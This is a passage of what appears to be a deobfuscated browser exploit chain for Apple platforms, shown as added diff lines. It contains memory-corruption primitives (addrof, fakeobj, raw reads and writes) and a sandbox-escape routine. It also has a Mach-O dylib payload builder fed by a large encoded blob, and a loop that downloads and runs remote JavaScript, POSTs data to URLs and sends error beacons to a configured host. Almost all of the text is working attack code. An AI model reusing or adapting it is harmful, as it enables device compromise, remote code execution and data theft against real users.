yYWNlLmR5bGliAF9vc19sb2dfYWN0dWFsAF9vc19sb2dfaW50ZXJuYWwAX29zX2xvZ19kZWZhdWx0AHZhc3ByaW50ZgBfTlNHZXRNYWNoRXhlY3V0ZUhlYWRlcgBfX29zbG9nc3RyaW5nACV7cHVibGljfXMAL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvSmF2YVNjcmlwdENvcmUuZnJhbWV3b3JrL0phdmFTY3JpcHRDb3JlAEpTRXZhbHVhdGVTY3JpcHQAc2lnYWN0aW9uAG9iamVjdF9nZXRDbGFzcwBfb2JqY19wYXRjaF9yb290X29mX2NsYXNzAF9vYmpjX21hcF9pbWFnZXMAX190ZXh0AF9fQVVUSF9DT05TVABfX2NvbnN0AF9fREFUQV9DT05TVABvYmpjX3JldGFpbkF1dG9yZWxlYXNlAF9vYmpjX2ZsdXNoX2NhY2hlcwAvdXNyL2xpYi9saWJTeXN0ZW0uZHlsaWIAX05TR2V0QXJnYwBfTlNHZXRBcmd2AF9OU0dldEVudmlyb24AX05TR2V0UHJvZ25hbWUAAAAA"); +} +const IA = 0, + wA = 1, + QA = 2, + BA = 3, + NA = 4, + EA = 5, + TA = 6, + UA = 7, + LA = 16777216 /* 1244951415 ^ 1261728631 */, + sA = 4, + kA = LA / 2 - 4, + FA = LA / 2, + SA = LA / 2; + +// ── Symbol/API resolver (YA) ───────────────────────────────────────────── +function YA() {/* Original: YA → resolveSymbols */ + const A = new Uint32Array(new ArrayBuffer(LA)), + g = new Uint8Array(A.buffer), + D = new Uint32Array(A.buffer), + M = platformModule.platformState.exploitPrimitive, + C = M.addrof(A), + I = M.readDoubleAsPointer(C + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.oGn3OG), + w = new utilityModule.Int64(utilityModule._(I), utilityModule.F(I)), + Q = M.addrof(A.buffer), + B = M.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.CN3rr_); + let N = M.read32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o); + N += 32, M.write32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o, N); + const E = { + CA: I, + IA: w, + start() { + setTimeout(E.wA, 1); + }, + BA: (A, g) => Math.floor(Math.random() * (g - A + 1)) + A, + NA() { + D[1] = 0, D[0] = BA; + }, + EA() { + D[1] = 0, D[0] = BA; + }, + TA(A, g, D, M) { + try { + let M = !1; + const C = new XMLHttpRequest(); + C.open("POST", A, !0), C.setRequestHeader("Content-Type", "application/json"), C.onreadystatechange = () => { + 4 === C.readyState && (M || (M = !0, D())); + }, C.send(g), setTimeout(function () { + M || (M = !0); + }, 10000 /* 893931597 ^ 893941597 */); + } catch (A) { + M(); + } + }, + download(A, g, M) { + //alert("Download " + A + "\n" + new Error().stack); + D[0] = QA, (async () => { + for (let D = 0; D < 20; D++) try { + const D = await new Promise(function (g, D) { + const M = new XMLHttpRequest(), + C = new URL(A), + I = Math.random().toString(36).slice(2, E.BA(5, 10)), + w = E.BA(0, 1); + C.searchParams.set(I, w), M.open("GET", C.toString(), !0), M.responseType = "arraybuffer", M.onload = () => { + const A = M.response; + A && 4 === M.readyState && 200 /* 1349605488 ^ 1349605560 */ === M.status ? g(A) : D(M.status); + }, M.send(null); + }); + if (void 0 !== D) return void g(D); + } catch (A) { } + M(); + })(); + }, + UA(A) { + try { + const g = new Blob([A], { + type: "application/javascript" + }), + D = URL.createObjectURL(g), + M = document.createElement("script"); + M.addEventListener("error", E.error, !0), E.LA.bind(E), window.qbrdr = (A) => { + E.LA(atob(A)); + }, document.body.appendChild(M), M.setAttribute("src", D); + } catch (A) { + E.error(); + } + }, + sA() { + const A = new URL(location.href), + g = "v" + new Date().getTime(); + A.searchParams.set(g, "0"), window.history.replaceState(null, null, A); + const M = () => E.BA(111 /* 761805156 ^ 761805067 */, 999 /* 1919249010 ^ 1919248789 */), + C = document.createElement("div"); + C.setAttribute("style", "opacity: 0.0"), C.innerHTML = M() + "-" + M() + "-" + M(), document.body.appendChild(C), setTimeout(() => { + const A = new URL(location.href); + A.searchParams.delete(g), window.history.replaceState(null, null, A), document.body.removeChild(C); + }, 10000 /* 959736401 ^ 959728961 */), D[0] = IA; + }, + wA() { + if (D[0] === wA) { + D[0] = QA; + const A = new Uint8Array(g.buffer, sA, kA); + let M = ""; + for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]); + M += ".js", M.endsWith(".min.js.js") && (M = M.replace(new RegExp(".min.js.js$"), ".js")), E.download(M, E.UA, E.error); + } else if (D[0] === UA) { + D[0] = QA; + const A = new Uint8Array(g.buffer, sA, kA); + let M = ""; + for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]); + const C = new Uint8Array(g.buffer, FA, SA); + let I = ""; + for (let A = 0; C[A] && A < C.length; A++) I += String.fromCharCode(C[A]); + E.TA(M, I, E.NA, E.EA); + } else D[0] === TA && E.sA(); + D[0] !== EA && setTimeout(E.wA, 1); + }, + LA(A) { + const M = A; + if (M.length > g.length - 8) E.error(); else { + for (let A = 0; A < M.length; A++) g[A + 8] = M.charCodeAt(A); + D[1] = M.length, D[0] = BA; + } + }, + error() { + D[0] = NA, + function (A) { + const g = platformModule.platformState.fixedMachOVal3; + if ("" !== g) { + const D = utilityModule.resolveUrl(g); + if (D) { + const g = new XMLHttpRequest(), + M = D + "?e=" + A; + g.open("GET", M, !0), g.send(); + } + } + }(DA); + } + }; + return E; +} + +// ── executeSandboxEscape (yA) — main sandbox escape entry ──────────────── +function executeSandboxEscape() {/* Original: yA → executeSandboxEscape */ + const A = YA(); + let g; + if (platformModule.On()) throw new Error("platformModule.On()"); + return g = (() => { + //alert("P.platformState.fixedMachOVal2=" + P.platformState.fixedMachOVal2); + const g = new MachOPayloadBuilder(platformModule.platformState.fixedMachOVal1, platformModule.platformState.fixedMachOVal2, platformModule.platformState.fixedMachOVal3); + let dylibSize = (g.length() + 0x1000 & 0xfffff000) >>> 0; + const dylibSizeWithSomeExtraSize = dylibSize + 0x200000, + dylibLoadAddress = platformModule.platformState.sandboxEscape.newInt64OfSomething(dylibSizeWithSomeExtraSize).toPointerValue(); + g.kA = Offset64.fromUnsigned(A.CA), g.FA(Offset64.fromUnsigned(dylibLoadAddress)); + const dylibLoadAddressO64 = Offset64.fromUnsigned(dylibLoadAddress); + let dylibBufferEncoded = g.SA(dylibLoadAddressO64); + for (; dylibBufferEncoded.length % 4 != 0;) dylibBufferEncoded += "\0"; + dylibSize = 2 * dylibBufferEncoded.length; + const dylibBuffer = window.PhZuiP = new Uint32Array(new ArrayBuffer(dylibSize)); + for (let i = 0; i < dylibSize; i += 4) dylibBuffer[i / 4] = utilityModule.readU16FromString(dylibBufferEncoded, i) >>> 0; + window.addDownloadBinary("lzwDecoded.dylib", new Uint32Array(dylibBuffer.slice(0))); + const dylibLoadAddressI64 = utilityModule.Int64.fromNumber(dylibLoadAddress), + dylibDataAddressMaybe = utilityModule.Int64.fromNumber(platformModule.platformState.exploitPrimitive.fakeobj(dylibBuffer)); + window.log("dylib load address: 0x" + dylibLoadAddress.toString(16)); + window.log("data address?: 0x" + dylibDataAddressMaybe.toNumber().toString(16)); + window.log("D: 0x" + dylibSize); + platformModule.platformState.sandboxEscape.Ad(dylibLoadAddressI64, dylibDataAddressMaybe, dylibSize); + const T = g.YA().ct() + 4; + //alert("D 0x" + T.toString(16)); + return platformModule.platformState.caller.jd(utilityModule.Int64.fromNumber(T)).Pt(); + })(), A.start(), g; +}; const yA = executeSandboxEscape; +// ── MachOPayloadBuilder (oA) — builds Mach-O payload in memory ─────────── +class MachOPayloadBuilder {/* Original: oA → MachOPayloadBuilder */ + constructor(fixedValue1, fixedValue2, fixedValue3) { + //alert("CALLED"); + const M = new Offset64(0, 0); + this.yA = CA(M, M, M, M, 0, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M); + this.oA = gA.lzwDecompress( + gA.base64DecodeUtf16("zwD6AO0A/gAMAAAAAAABAAUBBQEGAAgBFQAIARAACgAFAYUAAAAQAAgBBQEZAAgBaAADAAUBXwBfAFQARQBYAFQAFAEhASIBFAHAACMBJgElASEBBQAIASoBBQEPASIBGwF0AGUAeAB0ACYBGgEcAR4BIAE1AewAXAAiAbwAUwAiATsBBQECADUBCAEEAAAAgABEATYBeABJATYBHQEfAUQBqACwACIB2AAHASEBUQFCAUwBRgFIAUkBGwFzAHQAdQBiAHMANQEbAU4BOQEmAYAAsgAiAUQARgEhAWgBWAFEAQgAWgEUAQQBLwFfAF4BYAFfAGgAZQBsAHAAZQByAAgBZAE4AUQBxAC2ACIBXABsARQBhAFvAUQBcgFcAV8AbwBiAGoAYwB2AV8BYQEUAYEBTwE1ASAAuwAiAUAAIwGbAQUBLAGMAUcBTAEbAWMAbwBuAF4BYwE3AZkBJgFgAJwBIQEwACMBrwEFAYgBTAGlAV8AYwBeAXIAaQBuAGcAIwGYAWYBIwGQALABiQFDASEBxAG3AQAAxwG3ARsBkAGSAV8AbQBlAHQAaABuAGEA0gEAAMEBRAFUAL4AIgE+ACMB3AEFAVUBNQHMAbgBdQBuAHcAvQFkAF8AvQFmAG8AgAGsAcIBIgGUAN0BIQEYAOMBCAH0AYsBygFEARsBZQBoAF8AZgByANcBZQB1AWUBRAGwAL8AIgE0ACMBCQIFARkB/AFJARYBBQE4AFUBGwFEAEEAVABBAF8AQwBPAE4AUwDyASgBIQGeASIBIgIUASQCFAEQAgAAKgIqAhMBNgFnAG8ANAH9AV8AGAIaAhwCHgIgAiEBJgIFAZAAJwEPAkkBCgEFAVsAjgGnAakBMgLAATQCGQIbAh0CHwLCAZAAOwIAALIBIgFPAj8CEQIzAs8BkwFpAG0AYQBnAGUA7QFvABcCSgI3Ak0CJAFQAggAIwHAACgB5QFWAiIBEwIAAFQBNgE1AkEATAH4AQUBKAIhAXUCAAB3AlUCKwIrAUgCbABhAHYBeQBtAGIAbwBsAF8AcAB0AH8BYQIaAnQCIQHYAGsCCAEHASoCJgEHAAgBbQCOAVgCdgF7AXIAZQBmAGIB2QFJAo0CNQGQAnUCLgKPAgIAkwJJASwBpwKrAZoCYwCAAnMAcwCdAp8CjAJzAjUB6ACpAiEBZwIiAbkCqgK3Aa0CJgEbAb0BMQFyANYBbAB1AXICRAHwALoCTAHMAnkCbAIhARsBZABhAHQAYQAzAsoCNQHPArsCIwHbApQC0QIUAW4CSADwAUwASQBOAEsARQBEAEkA8gF2AnUC8AAcACMBQADuAvACeAKSAkkBDQAIASAACAEYAPYCFAHjAQcBeAAwADEAIQEiAAUBgABSAu0CEgENAfICEgGRAhQBIABCAAcBYAC8AoAASgAHAfwCiwEYAxIBSwAHAXAACAEwAFUABwHAAJYCAAALAAgBUAAjAf8C/QLLAQgBbgDgAiMBEABSAAcByADRAhsA+wIIAUEA0wCeACAABACjADUA9ACsABMA9gBpASYAAwCGADIA+QIIAWsC+AIFAfgC4wGUAgEANAADACoADQFJASwANwMIASgCWwEmAXQBAAA4AFgDLAP+AvYCLwB1ALMCLwBsAGkAYgBnA2kDpwFtAHAAnQKyAmkAqAEuAGQAeQBoA2IACAFdA18DBQEaA2sC5ABjA2UDcgBrA2oDdwNYAi4AQQB0A3YDaQNcAycDYANrAkEAGAMHAS8AUwB5AF4BZQBtAC8ATABpAwMCcgB5AC8ARgADAtIBdwBvAHIAawBzAC8AVQBJAEsAaQB0AC4AAgIEAqMDpQOoA6oDrAOMAwUBYACOAxQB/wChACQDlgAAAJMDlQMxAZgDmgNiAJwDngOgA7ADpAOmAy8AQwCkA2UARgBvAOcB1AJ0AHIDbgCuA6EDZQCxA2sAzAPOA9AD0gPVAtUDIgFdA2gAuQMPAjwA2QBsAZIDlAOWA8MDmwNhAJ0DnwPYA9oDpwPrA8IDzQNuAGYAaQBnAHUAAwLUA3MDrwOiA8oDwAPsA/cD+QP7A/0D4QN5AwgBWADlAwAAZwJ6ACwB6gPBA5cDmQPuA/ADyAMBBKUDpwNDAEYATgDTAdoD1wPJA7IDHAQeBHQA2gO2A14DDQQFAScAEQS/A4EDgwODA/UDlwMuAEIAiQN3AyIBJgBVAwUBmAAWAwAASwEFASkAOgQbA9ACLwNFBEYERwRIBEkESgRLBEwETQROBE8EUARRBFIEUwRUBFUEVgRXBFgEWQRaBFsEXARdBF4EXwRgBGEEYgRjBGQEZQRmBGcEaARpBGoEawRsBG0EbgRvBHAEcQRyBHMEdAR1BHYEdwR4BHkEegR7BHwEfQR+BH8EgASBBIIEgwSEBIUEhgSHBIgEiQSKBIsEjASNBI4EjwSQBJEEkgSTBJQElQSWBJcEmASZBJoEmwScBJ0EngSfBKAEoQSiBKMEpASlBKYEpwSoBKkEqgSrBKwErQSuBK8EsASxBLIEswS0BLUEtgS3BLgEuQS6BLsEvAS9BL4EvwTABMEEwgTDBMQExQTGBMcEyATJBMoEywTMBM0EzgTPBNAE0QTSBNME1ATVBNYE1wTYBNkE2gTbBNwE3QTeBN8E4AThBOIE4wTkBOUE5gTnBOgE6QTqBOsE7ATtBO4E7wTwBPEE8gTzBPQE9QT2BPcE+AT5BPoE+wT8BP0EcgT9AHsAvwCpAP0AGQGRALMAlgKUAB8ABQFxAOAABwCfABoAAAXBAKgA6gADAB4AqgD+APMAAQCyAP8AIAADANUA6wAZBbIAfwABAB4A6wD+AAMACgCqALcCVADAAAMAXwDWABQFFgX1ABQAAACUAAAFAgUnBQAAqgAcBR4F4AAVBaoAEQUTBT8FGAUaBTwFHwUhBSMFJQUnBSkFKwUtBS8FMQWqAOYANAWUAPQATwC+AAMFewABAAMFQwAAAJEA9AADAAEAqgDzABkBqgCRAAgFoAAFATQAPgUTAKoA4QADABQAqgCFAAgFYwU6BWsFQAV7AEEAqQBVBcIAQgUWBUQFGwUdBUcFGgVJBSYFKAUqBQUBLAUuBTAFPwXOAFMF+gBnALsAqQD4AF8AWgX2AFcAAgB6BU8AAwBYBQQAAwVgBZEAgQAFAbQAYwUCAKoAXwVhBYIABQE1ABMAkABAALkAUwBDATQAFABEAEAA+QAXAEcBUgC4AAAAoABSAOgAAwBsBRkAQQBBAHEAFQAxAJgAGgCWAEIANwCLAD4FFgBtBQMAFQCqAAkAFgA1Bc0FzwXRBdMFNQX3AEIAQQARAL4FGQCqAH8AAgAXAGsAiAD+AP8AVAAABUQAmQVDAKkAlgVCAJIFXwB5BY8FxQB9BRcFIQVGBSAFgwUkBYUFTAWIBU4FiwUWBaIAUwVVBVcFAAVaBf0AXAWRAHQF0gW0BfkACACtBbkACgCcALUFKQABAAgAiwArABEAAADRAJQFAADxAGoAAQCKAJoASwD9AN8AiAAjBQAAcQDsABcADwVtAAEAAQALAKwACQAMAAsAnwAXBmsASABGAVQATQD9AF8AiAC/ADEGawChBQAAVABMAP0ADQCIAI0A/wD/ADUAEAIUAF8APwAeBfIATAYXACAAQQAsAMsAYAA5BPkAYQBSAAAAuQAhAHwAQACSAF8ADAGUAGgAkgC1BTQDAAC0AGEAJgC1BWIAUgCuBXYFFAUIAKoAfABTBQYDUgAABXkFewX2BX8F+QVIBfwFSwWHBUUGAAZQBW8AUwW4A5gAUgDzAFUGCQBQAK4FPwAwBusAeANFBmcCgADSAEECFAAIACQAtQUKADAGiwAKACQAAAD5ABYGAQBLAJEGYAY+BXcGUAWBBoEF+gUiBYQGhgVNBYoFUAVYAFMFMAZtBuIAogU3BZ4FXQU+BWEFbgWlBS0AZwZBBXsGrwb4BbEGgwZKBbUG/wW3Bj8FRQBTBf8AwwACANEAkwUHAO4FVwAIAJkFCQBYBQoAAwWDAAIAXgUDAAMAqgD1AGAFYgVkBf8AEwCmBqgAuAXoAH8AAwApAOAABwG0AGgArgBXADkAqAAHATQAaAD6AEIA+QBoAPcGQQSaAFIASQABAKAAcgAhAH0AQAARAMkAgQCJAFIAiQBhAK4AcgAjABEAHAAyAHYFQwGaBnYGqgAqAFMFaAAiALUF4gCDAF0F4wBiAZEAdgVuBdEFIAcjAFMFLQUAADQA6QY6BfkG+wYEBzQHAAcCBygA9wYRBxMHFQcXByMAnQAHABEALQfQBaoAHgfSACAHFQBTBT4F0QUABUoAmQVJANsGSADxBUcAqQDVBuQGygZFBcwG+wXOBv4FhwbRBhYFBQBTBeEAEwC1BYEAQwG0AOIAHwCuBV8ABAFxACkAQwFUAGAATgC1BSQCtAAhAO4GlADgACgHkQDhACsHxwBnAmgG+gY5AMAAsQU2B6oASAD8AP8A/wYBBw8Gjge0AEAHFAcWBxgHNQBGB9cAVQY1AAAABwchAwsHOAc5AAgA+wCPBzwH+QDIAPoA/wCUBxIHlgdDB30ARgd2BSEAngdSAEEACgdyAMwAVQaIAP4GpwdIAD8HrQdCBxgHJQCxB78FhwWNBoEAtwdLByAH1wB9B/8AJgP5AP8ADwBgBmgAdgAmB2kH+QDjAG8HuQAtB7sFUgAgB84AfQcMAzUHZAWiB8gA9gCmB5EHiADnB6wHQQeXByMA5QAGABEAqwBVBuIACgbjADMAwQbFB+EA3QeGABMBlADiB4sHogfoAPQA6AcCB6gABAjsB64HGAexAAAAEQCcAFUG1wCtB5cAlwfoAAsAtQVoADYApgboAA8ArgVoAH8BuQCiBzoHkAc9B/cGSQAAAI0GiQC3ByEABwEyAOMAQgANCB0HRwFMBwMAdwajAH0HaAAKADkHqgVoAA4A+waIAJYC/wamADoIOweiAD4IRgE0ACgAuAVoABIAFwA5ACEIvAeRBz4HbQYmCCgIKggJAA0I4wBiAAMARwfFB8oHNAiqAI0ANwh+ALUFdgUwBrwFIAeIAH0HiwcgAAcBNQBoAIYAtQWiAOMAHAZlCAoH3gdfCIAAaghkBcAACgH/BocHCADtAAUIqAfsAKsH4wBWAFsIXwBVBvAGgABSAKgAQwAcALgA/wB/AAUAWgdjAGAGvwCDABwA+AAfAIEFiADpAAIADAQBAK4F9QcBAJEAowDzABwGIQACAIwIyQBTBYAAQAgMAQEAMgCiB4gA6gCCCEgAtgi0AOMAigBbCEsAVQacCB4FqADnAKAIBgGjCEMApQjjAJYIkQCqCIwIugBPBwoBNQD2ACsAtQW2AAoBtADIABYAtQUIAPkAfwDyABMDRQbACNUAiQDmAKAIFga1BZQGCADqAMAAHgBFBqIHSADsCCMIDwbsCLoIngABABEA1QAAAIoAUgB2BcEA+QhSADIAVQa1AIMAXAD4APUAKgH4BmoGqAeiBaEALgBxCKoAdAbFByAHQAA3CB4AcQa8AAIAEADhCKMAcwjRAEgHLwdfCDgAegg6BYAADwF+CPsGCADkAIIIyADjAIUIMgBbCBcAVQboANMIDwYZAbQACQAVALUFNgDcCPIAoAD4AlQAyAACALUFqACZCPgAaAAMAbUAnQeCAFIAvQBVBu4IUAgCBwgA9wb1AP4I3Af6CEsHwwCtB4MAlwcFAFUGUwn6CFwJ/wAXAJUA/giaAF0J/gisAFUG4QAjAKUIdgW5AIUHiwdgAEMBNQDgACcAcQgcCQcBjAjDAG8JZAUMA3MJdQn5AKEAAwn4AKIAAQCMCBkBmgbWAHsJdQV/CYEJBAnvAIUH4QB/CXYFCQBXCGgGAACOAFIAvwACAAgAawAgAIQIVAAVAAwBNQAVACAAvAUGA9IAAQClCVIAvQaMCFwFgwBSACoBmgZaARIA+wB9B1EJ+ggfAEYBsQAwBg8FQAA0BVQAfwCeAKYGYABGAKYGdQCSAGAGfwBfBrkAAAB/A08AYAB2AIEAPQDYCNoIogiSAFEJOgXYCKYGvghhCQIJBAm1ABsG+AaHByIIpwdSCLQAVAgUByoI+AIRAOMA6gACAFwIbAVeCHcG1QASANUFEQlJB9IA9QmUAPYA5AeHB1II8QjoAKIF4wDaAO8JSAfOBfIJqgDHAPoJaACCAGQIxQdmCHcIdwbCAPoJDAGMCJYAQwG5AKsA5wUXAL4FpgaSCJ0F/wAKBdAHNwDTB4oAJgdzCJEA4wDTAPkHbAWhAN0HIAe0APoJIAAqATUASQgHB74HCwcBAHUAQABRAOIAawksB8UH0gAIBUAARgF+CSYHnwV4CVIAXwCFB6AAGQE1AGEJpgbhCOgAzwCgCFEJrgUyCWAGbgXrBeMAowBdBVoIjAhDAbgAxgKFB0AAcgnoALsAQABOCGkF6AC3AGkKUgg1CiAAjAjoANMAAgB4AFoKqQBcCl4KAwBgCgAAqAByAGIAhQcoATUAdwqECYYJMghdAGQKVwjjBzoF1AWaBpEJtQUrCG0G6AAjAEIJogXCBs8FdwZwAJAJkgnFB4oAhQe1AOIATQbhCKgAywBVCqIIqAebCcwF9wl3BncA+glDCQQJCQABAEQAkQBpAMUJ+QAJAB4AvAVpAMgJuQDpAFcAHgAyALEKCQCLAGkAwgn5AHYA7gkDB+4AAgDcCMsJSAC5AP8AGQmBBWgAvgP5AEAG0QrhCGgA1AWoB8EA2ArTCloApgZJCIwIaAAeAE0IaACKAAsAeQDHABsK+Aj6CEkAGwrBCaYGaAC2CggAqglpBskJywnNCQAAzwnRCT0AvQAbCrUA/ggeAE0JhweoAMcAgghoAAcLugjWAPYINAAbCqIH2AnxCGwGughSAAUKXQgyCCAHRAAUCiIGUgAuABsKpwmpCbwFeAOtCQAArwmzCbEJ0gBEAH0H/Ak6BbkJAACxAE0K4AiBBSgAwgDECKIIuQChABwJAgCqCSMAuAWXAH0HcQkAADUArwr4AEAJUQqBBagAwQCmCrUFiQcYBuEAbwf5AOIANwCuBSoAfQfhCAgAiQehCK4FbgUHCqoJhwlSAH8DjAhpCDUFbAg0B7EIMgCUAFUG8QD6CWcCrgUfAAcBcQAIAFUAiABaABUAAQACADIAjgBpCQMA6wXCAAQAhgqaBuMACAWLBx8GTQa+BbUFNwkVBtYJFgbOBTcJpgaCAFUGlgW9AJkFCAZ7AJgF/QCAB/8AQwAQANEANQABAJ8HtwcgANYIDAZ/ACYDfgc0CnYFQgAKAZQAgACoC8UHgwAZAZQAMwpCC3YFZgCBCkUKaABqAIgLMgC/ANIA6QDfAN4A8gDpAI4H8gBRCcMKtAAKAVEAaQAyCAkAyAC/APIAyQAhAMEAwgsBAOAA8gA+BXAFbwsJAOsAKAAZAVQAaABFCPwGKgE0AGwImAmeAaEHwgBuC7IKcQBDAHUHKQCAAIwICQACAAsH2gtrAIMAOwZoAOIArgVJAHYAkQBSAAkAawCjAHIA9QvsAHUHSQC9AJ0AUgCpAOwAsAADDAEAAAxgAN4LqQAHAJsAUgC1CrsAcgDUBQAAFACgAAUDUQCaCxAAkQAABfAFVQV5BZYFwwCABssGHgWyBoQFhQa2Bk8FPwXDABsGlABJAJoAjAipAMQAfgr1C2gFRQZpAP0L/wsBDA4MAAxhAP0A6AXiCr0FPQs5AOAAPQuRAPcABwGUAJMKaQqpAC4DEQBvCyoGPgcPBakADwFVDAsFBgGJABoA4AClB24I6Qu9Cl8AjAh0BwsH2AuqAPULKAClB1QAHwCBAEMAcQDjBpgGhQm9BZYC+QCYCB0A+AAgAIkAAgBwAOEIoQBdCtEAPgpdBYcJ0gBaAdIA9wD6CR0KqgCpAIMAXQD4AKoAVAwrAP0AVADTACkG8QDgABMAigAaAOQDQguUBkQA8QD3C5gG8AuNCIMAewxLDF0FhQmMCGsA+gkAAIcAAgBQAOEIagldBaIAgwyHDIkM4gD6CeAAqgVRDPwGaQVwDCoGYQAPAVQA6AB1CTkAKAAPAWMMbgvBAHIM6AAHAVQARwwVCGAGeAD6CbcMHAbjAEwMYQB2DG4AjAxkBY8MXQC4AJMMDQiUBioGPgWdDOMCQgsAAAQIcwnFB9UAKgGUAKAAjwadB8kArQyvDJYCtABfBToFbgXxCfYMFgz6CYAAQgC1BVsBtACcAK8M1ggCDaYGkwB4B/kAqAhtBgAAfwtSAF0A+glAAAcJYAAGAEAArQARDQAArQCAAE4ApgaAAD4ABA2iBY8A+glgAEYBtAAiDSENcwb5AAUNigD6CTMHKg1fBi4NVgAkDW0GhQAyCjUJgABWAKYGnQcHB50HaQxMDFsAJw1yCaoMkQBzAowIWgD6CaAAbQhlChIB4QhKAI4HlwB4CdIAVAAzDOIAZAWgAIMMtQwpCm8FqgBSAPoJCgUqBvUABwCVAGAMTAxFALwMSQdhAFUGoABUDIkIYQn/AOYG0QCPBdoGkwXdBpYF3wZVBeEGAAULAAMF1gYLBmQFNACfC1IAVAC3B4gAOQRRAKgAwwAbALgACACEAEEAeQAfADkAKgZGC1QAGwBTDYAAsQUgADYD0goeBVUNNQBTDeAAIgrhCAAAdgACAFwAqgz9AOEAKAriAGMApQhgAHYMPAC8DNIHNADmADMMbQu5AFYMcQtzC1oAFAB3C7MIBQEUABYBjAj2ACgK/wDbAJsF4QggAHQAqQ10CQAA/QDhCMgAmACgCBoApwr6ACsARwseBUAArwAEAFgACgC8DA8BtACLB1IKlwCgCOgAeAzhCIAAcgDPDSYD/QDoAAQBnw3VAAkAmwAYCVIKpwBaBeAA2wCYBesApQeXAEQKNAeTCl0FFgBzApEAKQBcAO0AqAkPDGsMgQWgAJUAoAgdADMMDQWmBuAAHAj5AFwLqgD7AP4HFg6mBvcA1wfnDW0G+AAZDfkAPgUYAKoA3QAzDHwIbQYsC88FFwCqAFkNJw7bADMMXwXOBYAADgBBAPgAbgVwBewA/gebDaYGNQ6qAIAAjgA5DjsOqgDnAD4OQwH5APYA7gZRC0wMUAeqAFMAfQdRDPkAAAD4Al0GAw35ALYHbQY2CAEAHQnFB38AUw2MDVsAuABjDXEAwA2AABoAVA4CAA0AtQVPBlkNOgU0BYwIXwAAABoA6wA8DFQAUA5IAFMOlAr5ABoAVw6ZAP4G4QCwDZEAsg18CpoG2gATDmkFhAC5DXoCuw1wC3ILdAvADXgLTwZoALIA+wa5ArQLKAowBowIdwATDl8NAAVLAJkFUweWBVUHkwVXB48FWQdzDQMAkQBdB4AFKwzNBv0FhgaJBTAMFgWTAP4HlQ1iC1UGewZ9ADQOVgVYBQgGCgYMBhIBFwjZCA8GBQC1BWwOtQUXAFYLgQXoAIgASwv5AGkAxg4pAMgO+QAoAFcOfQaZBXwFrg6CBmAHsg4vDAEGqgB0AP4HBQbADlsFXQVjBWEF+wyqAKQBywgQAHEGuAU7ADMMgACiAF0FYQDGDqkCjAg3ADMM2g5/Bt0OXwezBmEHsw6IBj8FWwDlDr8OBwboDoINOgUbDLUFnA5SACcAMwxgABIAtQXXAowIJAD9DngF2w4pDF4HsA7fDi4M0Aa1DqoARQAIDwYGWQULD1MAGAAXCCYKtwr9AGcA0wA/ABEAQADxANcCRQamBkoAkgDuBhsMaQBBCfkAKgBhAFkAkgAmA+QA0gCUBQsA6wAGAUUGCwAEAOAARg8xBusAIACZAGQGCABTD8gJAABIAPoAKAFUAAgAMwxSD1QPVg8KBQgA6wCBAEwGVAAhAJAAmAlEAP8NYACKAKYG/g5PANwOQwUqDIIFAg/gDiIP4g4cAP4HmgvXBpMFlAiWBQYAmQXaBgAF3QYEBeQGDAa/AI8IuABAAFkAfwzhCHgAQwFUBXsIBQG1AOAAWgD3DYEFcwCRD+wOQADWCOEIKAB6ADYLFg9bAAIAMADhCDsLfAqhAHIAtwAcDikNiwdqDC4HqgBqAP4HHA20AC0ObQD+B/cAZAW5AHsPQwHrAEEA3guzAP4H4wBkBeEAkwD5BwcKEg2oAP4HLQ5QDpYAHA5fDZQA/gdWALEFqACoCNEA1Az5AKgAHAmpACsK0QDpAD0LqQBeBrIM4QjgAMcPkQARADMMHwBnAnEA7glFBvoCgAASAJwGUA6EANAPcAWCALQPRwESAAAFVwdVBVkHlgVGAPEFRQBaB+0LrQ5zDx4PdQ8tDM8GYwcjD8kA0geUAHsGqQAjAHkAKQApAF0AGABTACgAQQAIACoAqQBDAFwAjw0PDCoAaAAYCrYIYQnAAPgCtADVBgQAdQ1nAA4A8QUPANsGEACZBREAWAUSAOIGBAAMD+0OzglNCj0ArQBNCjwArQA+BQQAQhDmBkUQAgBFEAEAQhAHAIAAPQAAAEwAjg+BBeEACgbfAD4OBAE0AJ4A/gefD20AoAipAq4FiABQAKUPUgoZAfkAgQBPAJgPHgW/AFoQCwXMAA4ARQZAAGEQ8w2zB4wIgwD+ByAAbhD6DGQFYQBRAGgQ1QCBAP4HoQCqB5cALQ57EGIQgQVqDHsA/gebAIIQ+AB6EHwQpg+HEF8NdQD+B5UAghC6DzoFoQCPEOUPXw1vAP4HjwCCELgA+QyXAPkMiwdAAPkMNgD5DIkHrgXBAGEQkBAeBRQFJw55AA8QGA00By0O0w1nAKAIGQCnCiEASgCGED0FAwDgBagPFQsAAKoPIwAcDgcJjRB1BQMAzgVuBScOWQ3gBV8LFAUvDmYAsxApDZcQqgAkAP4H+QBkBT4FLw7TAA8QUgYAAGQP3guhAAMA1wbdEEoHCACGCXEKUgAZAaoPEABrECoG+QATAJ8AWgDoEP0ADxD1CRsMBgMSAAAPHw92DyEPDBDiDkgADxCZBlIA3wEbDGoMKQD+BxoAww3FDRIAJg6qAOkADxDHAcQN+g/WBRQF0QU7AA8QagweANoQbQioAAMAWAD4AGkA6ACJANIASQCqAKgA8gCJAIkAyQDyACkAqQDqAMULDwzKAI8MWAA4ANIFZwwBAAoAygD6Ck8APRA/EAMAQRDGC4wHKQ3lD10AoAgzAIIQWAtAAPgAFADdAHgAPAl1B8wNSRFYAC0ATBHAAE4RCABREfIAPw5cD4EArgUJAPkAhgAWDF8AsgBCDGsASQDIAJIA/wv0AKYAcgAEABEASQB6AMkAjwCUAFIAKQCSAKUAcRFzEXoA/QhFBogAFQ9uCWkAGgBTAJwG/BC8AhQAiAB4B5MNdwtxAOkNDwW8DegALQYNEUoIQwE5AAAFCgxVBVEA2wZQAPEFTwCpAI8FTgBaB8MAORD+EAkQtAZiB7QO4g73AG4QrAs1CdUGHAZVBZULlwuA